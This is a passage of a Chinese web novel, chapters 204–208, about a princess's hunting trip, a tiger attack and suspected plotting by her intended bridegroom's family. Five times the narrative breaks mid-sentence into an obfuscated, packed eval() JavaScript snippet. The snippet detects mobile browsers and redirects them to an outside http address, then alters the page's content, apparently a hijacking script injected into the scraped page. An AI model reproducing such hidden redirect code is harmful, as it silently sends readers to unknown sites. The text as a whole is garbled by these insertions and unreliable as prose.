萧宝珠压根不在乎那些,“你只是在备嫁,又不是坐牢,有什么不能去的?再说了,你和七皇兄的婚期现在都还没定,要是定在一年半载后,你难道一直不出门吗?” 陆知苒心想,的确是这个道理。 萧宝珠拍着胸脯,“高嬷嬷那里,我来搞定。若她敢推脱,我就求到柔妃那儿去。柔妃娘娘心善,定不是什么恶婆婆。” 第204章 什么阿猫阿狗都请来 萧宝珠立马唤来了高嬷嬷,以告知的姿态与她说了陆知苒要去狩猎之事,高嬷嬷自是不能多说什么。 难得有机会出去放放风,陆知苒自然也是高兴的,她的心情也愉悦几分。 对萧宝珠的亲事,她有些担心,但她也没有干涉和决定的权利,多说无用。 萧宝珠是个乐天派,即便为婚事忧愁,但很快就重新开心起来。 车到山前必有路,她若实在不喜表兄,大不了求到父皇跟前,父皇兴许也会替她做主。 若实在要嫁,那就捏着鼻子嫁呗,反正她的身份摆在这,到了孙家也没人敢给她受委屈。 三人开开心心地吃了一顿饭,直到夜幕降临,二人才离开。 狩猎是在三日后,这三日,陆知苒便继续按部就班地学规矩,日子不免枯燥乏味,但她是耐得住性子的人,倒也不骄不躁。 她把翠芙丹烟和霜华都唤到跟前,每人赏了她们五两银子,让她们自己去备一套骑装。 翠芙和丹烟都欢欢喜喜地接了过来,霜华原本还想推辞一番,最后还是把话咽了回去。 主子赏的,收着便是。 柔妃也派人给陆知苒送来了两套骑装。 一套紫色,一套红色,皆是上等的锦缎,做工十分精良。 陆知苒本不打算再添置骑装,因为她原本就有,加之她也不善骑射,骑装多了也没有用武之地。 但柔妃的态度,让她有种被重视的感觉,心头生出暖意来。 转眼便到了狩猎之日,陆知苒选了那身紫色的骑装。 上等的锦缎上是银色云纹的暗纹,在日光下若隐若现,仿若流动的星河。腰间束着一条同色腰带,勾勒出她纤细的腰身。下身马裤利落干练,再配上一双黑色皮革长靴,整个人透着股飒爽英姿。 几个丫鬟瞧着她的这身装扮,都不禁双眼发亮。 萧宝珠和叶寒衣见了,反应亦是如出一辙。 萧宝珠眼馋地看着她那身骑装,“你这身骑装可真好看。” 叶寒衣道:“好看的不是衣服,是人。这身要是穿到你身上,效果就大不一样了。” 萧宝珠:…… “闭嘴吧你。” 果然是七皇兄的亲表妹,跟他一样不会说话。 叶寒衣一脸无辜,“我只是说了句实话罢了。” 难道实话也不让人说? 陆知苒好笑地看着她们,又赶紧打圆场。 原本她们便只是寻常斗嘴,这一茬很快揭过。 今日天气十分不错,阳光明媚,惠风和畅,到了地方,入目便是一片碧绿的草坪和连绵的山脉,鼻尖是清新的草木香,几人的心情都好了许多。 孙家人已经到了。 孙墨轩生得清雅俊秀,风度翩翩,一身白色锦袍,腰间挂着一块碧玉,举手投足间从容优雅,尽显世家风范。 他的身侧还有不少青年男女,个个都打扮得花枝招展,只有萧宝珠三人穿着正式的骑装。 不是来狩猎的吗?他们怎么一个个穿得跟选美似的? 孙墨轩笑着上前,“宝珠,你来了?这两位便是平乐县主和叶小姐吧?久仰大名。” 陆知苒和叶寒衣朝他微微颔首。 孙家嫡小姐孙若兰落落大方地与她们寒暄,又替她们一一介绍众人。 这家的小姐,那家的公子,叶寒衣两眼放空,显然已经脸盲了。 萧宝珠落在其中一人的身上,眼底升起一股不加掩饰的厌恶。 “你怎么也来了?” 那人生得眉目周正,放在一堆俊男靓女中并不起眼,对方的目光一直落在萧宝珠的身上,一错不错。 “公主不欢迎蒋某吗?” 他名唤蒋泽霖,是蒋南笙的嫡出弟弟。 蒋南笙乃庶出,原本她和姨娘在府中过得十分不好,只因她小小年纪便展露出超常的聪慧,“母子”二人的境遇才有所改善。 萧宝珠不假辞色,“不欢迎。表兄,你怎么什么阿猫阿狗都请来?” 这话让蒋泽霖的脸色凝滞了一瞬。 孙景轩不赞同地看着萧宝珠,“宝珠,蒋公子今日是客,岂可这般失礼?” 萧宝珠冷声,“你不知我与他有仇吗?故意把他也喊来,是要存心膈应谁?” 她这番毫不客气的态度让孙景轩脸上有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162060|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些挂不住。 萧宝珠并非无缘无故对人口出恶言之人,她与蒋泽霖的梁子很早就结下了。 小的时候,蒋泽霖与他们也一起玩过,甚至关系算得上不错。 谁知,他小小年纪就心术不正,偷偷在蒋南笙的点心里下毒,只为了取代她入宫当伴读。 但蒋南笙没中招,嘴馋的萧宝珠却中了毒,吃了大苦头。 此事最后只查到蒋泽霖的小厮头上,彼时的萧宝珠还天真地以为此事真的与他无关,毕竟大家都还那么小,怎么会有坏心眼呢? 后来他又频出阴招,全都是冲着蒋南笙的性命去,萧宝珠才反应过来,坏人是不分年龄大小的,有的人天生就是坏坯子。 孙景轩调整好了面色,开口说和,“那都是小时候的事了,而且是一场误会,宝珠你大人有大量,就不要斤斤计较了。看在我的面子上,今日你们便握手言和,如何?” 孙若兰也跟着打圆场,“对呀,大家都是朋友,以往就算有什么不愉快也不要太过放在心上。” 听了这番话,萧宝珠气得脸都绿了。 要不她怎么这么不喜欢孙家呢,有这么一对表兄表姐,她能喜欢才怪。 他们都是宽和大度,知书达理的典范,自己就是无理取闹,小肚鸡肠的刁蛮公主。 萧宝珠冷笑一声,“不好意思,我这个人就是这么小肚鸡肠,斤斤计较。别人得罪了我,我就是要记仇,记一辈子!” 说完,她又冷冷剜了蒋泽霖一眼,“让他少往我跟前凑。” 说完拉着陆知苒和叶寒衣,转身走了。 现场气氛顿时陷入死一般的尴尬。 孙景轩的脸色难看,蒋泽霖的眸底亦闪过一抹阴霾。 凭什么蒋南笙一个庶子能入得了她的眼,自己却连正眼都得不到? 孙景轩勉强扯了扯唇,“蒋兄,你别放在心上,宝珠只是性子有些骄纵。” 蒋泽霖眸底晦暗不明,一时没开口。 孙若兰眉头轻蹙,“宝珠多半是因为蒋小神医的关系,才会对蒋公子如此心怀成见。满京城都知道,她与蒋小神医关系匪浅。” 第205章 让萧宝珠当恶人 一句话让蒋泽霖和孙景轩的眸中都闪过一抹厌恶。 一个未出阁的公主,却与一个外男走得如此近,还闹得人尽皆知,简直是丢人现眼。 走到一旁的凉亭处,萧宝珠坐下,脸上依旧气呼呼的。 “我就不该来。表兄明明知道我与爱蒋泽霖有过节,还把人带来,他是存心膈应我的吧?” 叶寒衣一边让她消消气,一边不忘八卦他们二人的过节。 萧宝珠气呼呼地说了,陆知苒和叶寒衣听罢,对蒋泽霖也生不出好感。 陆知苒不吝以最坏的态度揣测旁人,“宝珠,你要都小心些那蒋泽霖,我总觉得他不怀好意。” 顿了顿,“对你表兄,你也要多加提防。” 孙景轩待人接物长袖善舞,很是圆滑,不可能考虑不到萧宝珠的心情,但他还是把蒋泽霖请来了,还热衷地给二人当和事佬,那只能说明他是有意为之。 不管他出于什么目的,他可以看出他不在乎萧宝珠的想法。 叶寒衣也跟着道:“你这表兄的确不咋地,多小心着些总没错。” 萧宝珠认真点头。 “原本我还想着大不了捏着鼻子嫁了,但现在,想到我要嫁给那样一个人,我简直难受**。” 陆知苒缓声道:“依我看,只怕孙公子也不一定想娶你。” 本朝驸马,只能任闲差,不能任实职。 孙景轩乃孙家嫡孙,亦有才名在外,孙家会愿意白白浪费这么一个好苗子来尚公主吗? 若他当真对萧宝珠有意,就不会这般不在意萧宝珠的态度和想法。 萧宝珠高兴地一拍掌,“那可就太好了,他去跟我母后提这事,我母后定然就不会再强行撮合我们了。” 陆知苒眸色微深,“怕就怕,孙家也不愿做这得罪皇后娘娘之事。” 又不能得罪皇后娘娘,又不想要这门亲事,该怎么做?那就只能让萧宝珠当这个恶人。 若萧宝珠十分抗拒这门亲事,抵死不嫁,皇后娘娘也拿她没办法,孙家自然就是无辜的一方。 萧宝珠一时没想明白,正待开口追问,孙若兰就带着一众莺莺燕燕朝这边来了,萧宝珠的脸立马耷拉下去。 真烦。 孙若兰与孙景轩一样长袖善舞,即便方才发生了不愉快,她也能面不改色,亲亲热**与萧宝珠寒暄,同时也不会冷落了陆知苒与叶寒衣。 萧宝珠脸色不冷不热,叶寒衣的心早就飞出去了,孙若兰最后也实在聊不下去,气氛便慢慢冷了下去。 萧宝珠起身,“来都来了,我们进林子里搜猎一番。” 孙若兰笑道:“我不善骑射,就只能看个热闹了。” 她们一走,孙若兰脸上的笑意便淡了,眸底多了一丝轻视。 她也就运气好,投生成了公主罢了,不然,凭她的品貌才学,哪一点配得上自家兄长? 萧宝珠三人去选了马,便溜溜达达着往林子里去。 陆知苒和萧宝珠的骑术都很一般,她们也就图个野趣。 叶寒衣进了林中,便浑似如鱼得水,很快就把她们二人甩开。 萧宝珠被她激起斗志,也一扬马鞭也追了上去。 但她的骑术根本比不上叶寒衣,只能看着她的背影干瞪眼。 很快,她就被旁边蹿出来的小东西吸引了注意力。 “是银狐!哈哈哈,我的运气怎么这么好?” 她立马追了上去,陆知苒也被她甩开了。 她的身后跟着不少护卫,陆知苒也不担心,自己也在林子里搜寻目标。 这猎场里的动物都是事先圈养的,有些傻乎乎的,反应力也很慢,陆知苒这般差劲的箭术,都射中了一只兔子。 跟她相比,霜华的箭术就好多了。 她每次放跑的猎物,都被霜华一箭射中,翠芙和丹烟就只有在旁边拍手叫好的份儿。 在林子里晃荡一圈,主仆几人也收获满满。 当然,主要战绩都来自于霜华,陆知苒只收获了两只兔子,翠芙和丹烟一无所获,但二人也玩得很开心,对霜华更是满口夸赞,霜华原本原本面无表情的脸上现出两分得意来。 丹烟已经开始报菜名了,烤鸡,烤兔子,椒麻兔,干锅兔…… 霜华眼珠子转了转,禁不住暗暗咽了咽唾沫。 早知如此,方才就该多猎一点。 主仆四人正准备打道回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162061|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府,忽而听到一声狂躁的虎啸,四人的面色陡然一变。 “小姐,奴婢好像听到了老虎的叫声。” “听错了吧,这里怎么会有老虎?” 这话刚落,又一道虎啸声传来,这声音比方才更加狂躁,带着一股雷霆万钧的暴怒。 这下子,无人再敢心存侥幸。 这的的确确是虎啸无疑。 霜华当机立断,“小姐,此地不宜久留,奴婢护送您离开。” 陆知苒看着虎啸传来的方向,心头升起一股浓浓的担忧与不安。 萧宝珠和叶寒衣往那个方向去了,她们不会有事的吧! 定然不会的,她们身边都带了护卫,叶寒衣也有自保之力。 而她唯一能做的,就是保护好自己,不添乱。 主仆四人匆忙离开了林子。 她们已然安全,陆知苒心头却分外不安。 她吩咐霜华,“你去看看,若发现公主和叶小姐,第一时间把她们护送出来。” 霜华看了她一眼,有些犹豫。 她的职责是保护陆知苒,若她在这里发生意外,自己难辞其咎。 陆知苒眉眼凌厉,不容置疑,“快去!” 霜华不敢再迟疑,点头应是。 “保护好自己。” “是!” 说完,她便翻身上马,很快消失在了林子深处。 一众贵女们也都听到了虎啸,面上都是惊恐之色。 孙家派出了所有护卫,进林子里救人。 孙若兰的脸上再不复先前的从容镇定,脸上一片惨白,心中更是慌乱到了极致。 今日孙家邀请了许多公子一道前来搜猎,现在大家都在林子里,若他们出了半点岔子,孙家都无法交代。 而且,兄长也在林子里。 不知过了多久,终于有人从林子里出来,是一行公子哥,他们虽然身形有些狼狈,但身上并无伤处。 一问之下,他们是听到了虎啸才匆忙从林子里出来,并未遇到老虎。 孙若兰环顾一圈,没有看到自家兄长,她的脸色难看了几分。 “我兄长呢?” 众人摇头,“我们进了林子就各自散开了,并未在一处。” 第206章 世上哪来那么多巧合? 就在这时,林中又有一行人骑马而出,正是孙景轩和他的护卫。 孙若兰见了他,这才放下心来。 “兄长,你没事吧?” 孙景轩摇头,“无事,我没有遇到老虎。” 这时大家才想起问,“林子里怎么会有老虎?” 这话不免带上几分责问之意。 这是孙家的猎场,也是孙家人邀请他们前来,现在却出现了老虎。 虽然大家都很安全,没有遇到危险,但也不免心有余悸。 孙景轩似也被吓到了,满脸歉意,“是孙家的疏忽,我在这里向大家赔不是,过后孙家定会彻查清楚事情缘由,再登门向诸位致歉。” 陆知苒冷冷道:“现在还不是说这些套话的时候,还有人在林子里没出来。” 她的全部心神都系在萧宝珠和叶寒衣的身上,她们两人还下落不明,生死未卜。 孙若兰也面露焦急,“对啊,兄长,宝珠和叶小姐还没出来。” “还有蒋公子,他也没出来。” 孙景轩脸色大变,赶紧吩咐护卫,“快,立马去救人!” 各家的护卫都再次入了林子,往虎啸的方向而去。 众人都焦急地等在林子入口。 时间在这一刻过得分外缓慢,陆知苒心中的不安也达到了顶点。 这一切都是巧合吗? 她不信。 世上哪儿有这么多巧合。 她只是没有料到,孙家竟然这般狠毒,敢拿萧宝珠的性命开玩笑! 过了约莫小半个时辰,一行护卫拖着一人出来了。 那人浑身上下都是血,已然昏死过去。 是蒋泽霖。 他赫然断了一臂! 众人皆倒吸了一口凉气。 孙景轩脸色大变,大步上前,疾声问,“怎么回事?九公主人呢?” 一名护卫颤声开口,“属下赶到时并未看到九公主,只看到蒋公子被一头猛虎袭击,属下等人合力,才勉强将猛虎击退,救下蒋公子。” “对,那猛虎身形高壮,很是勇猛,它似被激怒了,攻击性极强,好些弟兄被它一掌拍**。” 回想起方才经历的情形,众人依旧惊魂不定。 孙景轩的脸色几经变化,低声喃喃,“怎么会是猛虎?明明应该是……” 他的声音很小,无人听到他究竟说了些什么,也无人知道,他的后背已经被冷汗打湿,手心也渗出了黏腻的汗水。 陆知苒周身的气压冷沉,一颗心直直沉入了谷底。 这么多人,都对付不了那头猛虎,若宝珠和寒衣遇到了,岂会有生还的可能? 她根本不敢想。 众人的脸色都不好看,大家都想到了最糟糕的可能。 若九公主殒命,皇上发了雷霆之怒,他们在场之人只怕都无人能逃脱。 还有那位叶小姐,她是滇南王的孙女,柔妃的亲侄女,也是他们得罪不起的。 此时众人只觉得后悔,早知如此,他们就不该来。 不知过了多久,林子里终于又传来了动静。 又有一行人出来了。 陆知苒一眼就看到了骑在马上的霜华,她的身前环抱着一人,马背上还驮着一人,赫然是萧宝珠和叶寒衣! 这一刻,陆知苒几乎喜极而泣,众人看着这一幕,更是激动不已。 终于救回来了。 陆知苒慌忙奔上前,众人合力将几人从马上扶下来。 萧宝珠和叶寒衣身上都带着伤,二人陷入了昏迷,情况未明。 陆知苒声音紧绷,“她们怎么样了?” “叶小姐受了些外伤,但都不致命,眼下只是力竭昏迷了,没有性命之忧。” 陆知苒闻言,悬着的心放下一半。 “宝珠呢?” 霜华神色微顿,话也说得含糊,“九公主受了内伤,具体情况,还得让大夫前来诊治方知。” 陆知苒闻言,心头骤然一紧,一股极度不安的感觉再次将她笼罩。 萧晏辞说过,霜华是通医理的,她想来已经替二人诊过脉。 萧宝珠的情况她说得如此含糊,只怕她会凶多吉少! “小姐,林子里还有人,方才是一位公子救了公主和叶小姐,奴婢为了救人不敢耽搁,只得先离开,但他却独自面对那头猛虎,若无支援,只怕……” 众人面面相觑,“是谁?谁会有这本事?” “好像人都到齐了,难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162062|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道是谁家的护卫?” 孙景轩却是想到了谁,眸光微动。 他立马吩咐孙家护卫再次入林,“务必全力营救,绝不能让任何一个人出半点意外。” 大夫也很快赶来给二人诊治,所有人都紧张地看着。 “这位叶小姐的身上有几处外伤较深,但好在没有伤及肺腑,只需要好生静养即可。但九公主,她受的是内伤,老夫才疏学浅,一时也无从下手,还是速速送回宫中,请宫里太医诊治为妥。” 这话让孙景轩和孙若兰兄妹脸色难看极了。 内伤可大可小,万一她有个三长两短,孙家难辞其咎。 他们不敢耽搁,立马让人快马加鞭地护送萧宝珠回宫诊治。 叶寒衣有外伤,不能颠簸,便只能缓慢前行,陆知苒一路同行。 她把霜华留下了,此事真相究竟如何,还得好生细查,断不能这般稀里糊涂地揭过去。 霜华留下,或许能发现一些线索。 来时高高兴兴,回去时却生了意外,再不负先前的轻松愉悦。 萧宝珠被快马加鞭地送回宫中,很快就惊动了皇上和皇后。 孙皇后头一次不用宫人搀扶,健步如飞地往萧宝珠的宫里冲。 待见到她脸色惨白地躺在床上,孙皇后原本强撑的身子一下卸了力道,瘫软下去。 太医给萧宝珠诊脉,面色一片凝重,一番施针,萧宝珠依旧昏迷不醒。 “公主内伤颇重,什么时候醒过来,还得看她的造化。” 德丰帝也第一时间赶来,得知她的伤情,怒气直冲脑顶,“怎么回事!” 宫人跪了一地,战战兢兢地把事情始末道来。 德丰帝脸色阴沉,“孙家是怎么办事的!” 这话连带着把孙皇后的脸也狠狠打了,她原本就苍白的面色愈发惨白几分。 德丰帝沉着脸,“此事定要给朕彻查清楚!” 那头猛虎究竟是怎么进的猎场,是猎场管事疏忽,还是有人故意为之?定要给出个交代来! 撂下话,他愤怒地转身离开,连孙皇后都没有多看一眼,俨然是对她生了迁怒。 孙皇后失魂落魄地坐着,一语不发。 第207章 上眼药 叶寒衣被抬进夕颜殿,柔妃吓得三魂没了七魄。 好在,她的情况比萧宝珠的轻,太医一番施针,她便幽幽转醒。 柔妃急忙上前,“寒衣,你醒了?感觉怎么样?” 叶寒衣下意识伸手去摸身上,轻嘶了一声,眉头都皱成了一团。 “疼。” 柔妃赶忙按住她,“你受了伤,不可乱动。” 说着又红了眼眶,“你说你,怎么这么不小心,你若是有个三长两短,我怎么向你爹娘交代?” “姑母,我没事。宝珠呢?” 陆知苒语气尽量轻描淡写,“宝珠已经被救出来,太医正在给宝珠施诊,你别担心。” 叶寒衣这才舒了口气。 柔妃问,“到底是怎么一回事?你们怎么会招惹到老虎?” 叶寒衣回忆起此前情形,眸中不觉染上几分幽暗。 “是蒋泽霖,他射杀了一只未成年的幼虎。” 那只幼虎或许只有两三个月大,身形与普通**一般大小,有一定攻击力,但却远没有成年老虎那般难缠。 萧宝珠与自己的护卫走散了,碰巧遇到了那只幼虎。 她不敢轻易招惹,正欲偷偷溜走,但蒋泽霖不知从何处冒出来射杀小老虎,它被激怒,萧宝珠不得不慌忙奔逃。 最终,蒋泽霖成功将把那幼虎射杀,还献宝似的拿到了萧宝珠面前,一副邀功的姿态。 萧宝珠不欲理会他,他却似狗皮膏药一样黏了上来。 “我刚好撞见宝珠被那厮纠缠,或许是我小人之心,我觉得那厮看宝珠的眼神不单纯,若非我恰好撞见,不知他会对宝珠做些什么。” 陆知苒的眸色冷了几分。 蒋泽霖会如此胆大包天,敢对公主不敬吗? 明着,或许他不敢,但在林子里,谁也说不准会发生什么意外。 若二人恰巧被困,不可避免地发生一些肌肤之亲,萧宝珠身为女子,自是要吃亏的。 此事闹大,萧宝珠或许也只有下嫁一条路可走。 叶寒衣的横插一脚,坏了蒋泽霖的计划。 而接下来,那意外闯入的猛虎,更让所有人措手不及。 那么,孙家人呢?他们在其中,又扮演着怎样的角色? 这是孙家的猎场,出现老虎,本身就是孙家人是失职。 更可疑的是孙景轩的反应。 一开始他分明像是知道些什么的样子,焦急也浮于表面,直到后来,蒋泽霖被抬出来,又听说了猛虎的存在,他才真正变了脸色,有种事情超出掌控的惊慌。 蒋泽霖也是他请来的。 这诸多的线索无不证明了孙景轩的可疑。 他为了推掉这门亲事,让自己和孙家占据道德制高点,竟然设下这般歹毒的计谋。 就算没有遇到猛虎,没有叶寒衣的横插一脚,萧宝珠定然被他们算计了去。 柔妃听得瞪大了眼。 “蒋家那小子,竟敢对宝珠图谋不轨?” 叶寒衣幽幽道:“或许是我小人之心了吧,但我的确看到他对宝珠拉拉扯扯。” 柔妃气得脸都绿了,“岂有此理!真是狗胆包天!” 宝珠是自己看着长大的,且她与阿辞关系最是亲近,柔妃早就把她当成亲生女儿一般,蒋泽霖的行径简直处处踩在了柔妃的雷区上。 “我记得这什么蒋泽霖,宝珠与他不是有过节吗?为何今日他也在?” 陆知苒余光瞥见一道明黄的衣角,她微垂眼睑,轻声开口。 “是孙公子特意邀他前来的,说是为二人解除误会。” 叶寒衣直接道:“依我看,那孙公子脑子也不大好使,明知宝珠不喜那蒋泽霖,还特意把人请来。谁要他当和事佬?他只怕没安什么好心。” 陆知苒连忙阻拦,“寒衣,孙公子可是皇后的亲侄儿,不要瞎说。” 叶寒衣满不在乎,“我说的本就是实话。若不是他把蒋泽霖带来,我们就不会遇到这番危险。” 陆知苒好心地替他辩解,“这只是一场意外,怪不到孙公子的头上。” 叶寒衣有些纳闷地看着她,“你怎么还帮他说话?他是东道主,没有提前清理猎场,让我们所有人置身危险之中,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162063|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 责任他总推脱不掉吧!” 激动之下,叶寒衣牵扯到伤口,又疼得连连吸气。 柔妃赶忙把人扶着躺好,“为了那起子人,你这么激动做什么?” 叶寒衣声音小了几分,“我是为宝珠感到不值!那孙景轩是皇后娘娘替她择定的驸马,结果他却是这么个玩意儿,半点没把宝珠放在心上。他定然不愿意娶宝珠,但又不敢违逆皇后娘娘的意思,这才动了些歪心思……” 陆知苒眉峰微动,不禁看向叶寒衣。 她这话,当真只是激愤之下口无遮拦吗?还是…… 柔妃一愣,旋即反应过来,赶忙呵斥她。 “没有证据的事,不可胡言!” 叶寒衣小声嘀咕,“在其他人面前我自然不会瞎说,这不是在您这里吗?又没人听到。” 就在这时,外头传来了通传,“皇上驾到。” 几人立马朝门口的方向看去,德丰帝大步而入,脸上笼着一层凛冽的寒霜。 柔妃心下微微惊疑,皇上什么时候来的?他听到了多少? 陆知苒和叶寒衣目光碰撞,她们都从彼此的眼中看到了默契与了然。 她们二人方才那一番双簧,狠狠地给孙景轩和蒋泽霖上了一通眼药。 皇上对此事生了不满和怀疑,就定会派人全力彻查。 是谁在背后动手脚,真相自然无所遁形。 经此一事,就算孙皇后依旧对孙景轩深信不疑,德丰帝也定会慎重考虑萧宝珠的亲事。 她们无法插手此事,也只能帮她做到这一步了。 叶寒衣要坐起来,被德丰帝拦住了。 他稍稍敛起了周身的低沉气压,缓声开口。 “你身上有伤,便免礼了。” “多谢皇上。” 德丰帝目光落在她苍白的脸上,语气愈发慈和。 “这次多亏了你救了宝珠,不愧是滇南王的孙女,有他当年之风范。” 叶寒衣脸上多了几分骄傲,“皇上过奖了,我跟祖父比还差远了。而且,这次宝珠也不是我救下的,是有一位公子出手救下了我们。” 第208章 孙家三少爷 幼崽**,那老虎十分愤怒,攻击力凶猛极了,她和一众护卫以命相搏,都完全不敌。 而宝珠的身上沾染了那幼虎的气息,那头母老虎认定她是伤害自己孩子的凶手,对宝珠穷追不舍。 叶寒衣要护着她,十分吃力。 就在她力竭之际,一男子出现,一拳就打得那头母老虎连连后退,咆哮不止。 之后的缠斗十分凶险,叶寒衣拖着昏迷的萧宝珠,也多亏了那人分散了老虎的攻势,她们才得以保全。 在霜华出现的那一刻,叶寒衣终于力竭昏倒。 后面的战况如何,她也完全不知道了。 叶寒衣尽量把搏斗的情形说得轻描淡写,柔妃依旧听得心惊不已,看着她的眼神盈满心疼,德丰帝则是眉目沉沉。 若此事当真是有人故意为之,简直罪该万死! 德丰帝问,“你可认得那人是谁?” 叶寒衣摇头,“当时情况危急,臣女没看清他的长相。” 她初来京城,就算看清了对方容貌,也定是不认识的。 转而又问陆知苒,“他怎么样?可脱险了?” 陆知苒摇头,“我们离开猎场之时,他尚未从林中出来。不过孙家已经派人营救,他又如此勇猛,定然不会有事的。” 叶寒衣缓缓点头,事到如今,她也只能往好的方面想。 德丰帝温和地看着叶寒衣,“你受了伤,这段时间便好好养着,朕会派人给你送些滋补之物和你们女孩子喜欢的东西,若你还缺什么,尽可向朕开口。” 叶寒衣连忙谢恩。 “皇上,宝珠的情况如何了?” 德丰帝的语气依旧温和,“她无事,你无需挂心,好生养伤便是。” 几人心头都笼上阴霾。 宝珠的情况只怕不大乐观,若不然,皇上定会细说。 柔妃迟疑着道:“皇上,臣妾早年间曾得过一个专治内伤的方子,或许对宝珠的伤情有帮助。” 德丰帝闻言,眸色亮了几分。 “当真?那方子是否可靠?” 柔妃点头,“虽然臣妾不曾用过,但那方子乃对方祖传之物,定不会有问题。” 柔妃亲自去寻找一番,拿出一张陈旧的方子。 “皇上可以让太医们先研究一番,再决定是否让宝珠服用。” 德丰帝粗粝的大手一把握住柔妃的柔荑,眼底满是温柔与感动。 “爱妃,你有心了。” 柔妃幽幽叹道:“臣妾把宝珠当亲生女儿,自然不希望她有事。” 柔妃说的是真心话,若受伤的人换成萧婉贞,她定然不会多管,更不会拿出这方子。 “若宝珠当真好起来,朕定对这赠方之人重重嘉赏。” 柔妃眸光微闪,含糊道:“他不在京城,只怕无福领受皇上的恩赏了。” 陆知苒看着柔妃略微异样的表情,心中莫名生出一个念头。 这方子只怕大有渊源。 不论如何,只盼着这方子真的能让宝珠好起来。 德丰帝又说了几句便拿着方子离开了。 柔妃目送德丰帝走远,收回目光,埋怨地看向叶寒衣。 “寒衣,这里不比滇南府,你可得收一收这口无遮拦的毛病,不然惹了什么大祸,姑母也救不了你。” 叶寒衣笑着讨饶,“姑母,我知道了,下次定然多加小心。” 柔妃也只是念叨两句,不会真的苛责她。 陆知苒看着叶寒衣,对她却有了一个全新的认知。 以往她真的以为叶寒衣心直口快,而今看来,她并非没有心机和头脑。 对于她这样的小心机,陆知苒半点都不反感。 有心机本身并非坏事,可怕的是像赵书宁那样,把心机用在害人上。 叶寒衣说了许久的话,面上露出疲色,在安神香的作用下很快睡了过去。 柔妃这时候才把注意力放在陆知苒的身上。 这还是她第一次与这个未来儿媳妇单独相处。 高嬷嬷性子刻板严肃,难得的是她还能对陆知苒满口称赞。 近日,柔妃更听说,自家儿子小时候亲手做的那个木簪子出现在了陆知苒的妆奁里。 那木簪子,阿辞宝贝得很,若非他亲自送出去,旁人不可能拿得到。 可见,那小子对她的确是上了心的。 除了这一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162064|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,锦绣坊之事,也让柔妃对陆知苒的印象十分不错。 柔妃没有旁的爱好,就喜欢调香。 但调来调去,也只能自己欣赏,难免有种孤芳难自赏的感觉。 但锦绣坊出现之后,柔妃调香的爱好就得到了莫大的肯定。 她调的香料得到了众贵女的追捧,销量十分可观,皇上下旨嘉奖了她,她还收到了锦绣坊送来的分成收益。 那笔银子对她来说自然算不得什么,但是那份被认可的成就感却让她心里得到极大满足。 这些因素的加成之下,柔妃对陆知苒自然十分有好感。 二人身份的转变也曾让柔妃对她生出挑剔,但慢慢的她就看开了。 阿辞既然喜欢她,自己又何必做那恶人? 娶妻娶贤,阿辞能娶到她这样能干的王妃,是他的幸运,自己万不能为了摆所谓婆母的架子,就伤了他们之间的情分。 柔妃对陆知苒的态度格外温和,声音柔得能掐出水来。 “你今日也吓到了,就先回去,好好休息吧。” 陆知苒莫名觉得耳朵一酥,整个人都有些晕乎乎的。 她好温柔呀,不愧是柔妃。 萧晏辞有这样一个温柔如水的母妃,幼时定然过得很幸福吧。 直到暮色降临,霜华才从猎场赶回来。 “小姐……” 陆知苒打断她,“你受伤了?” “一点小伤,不碍事。” 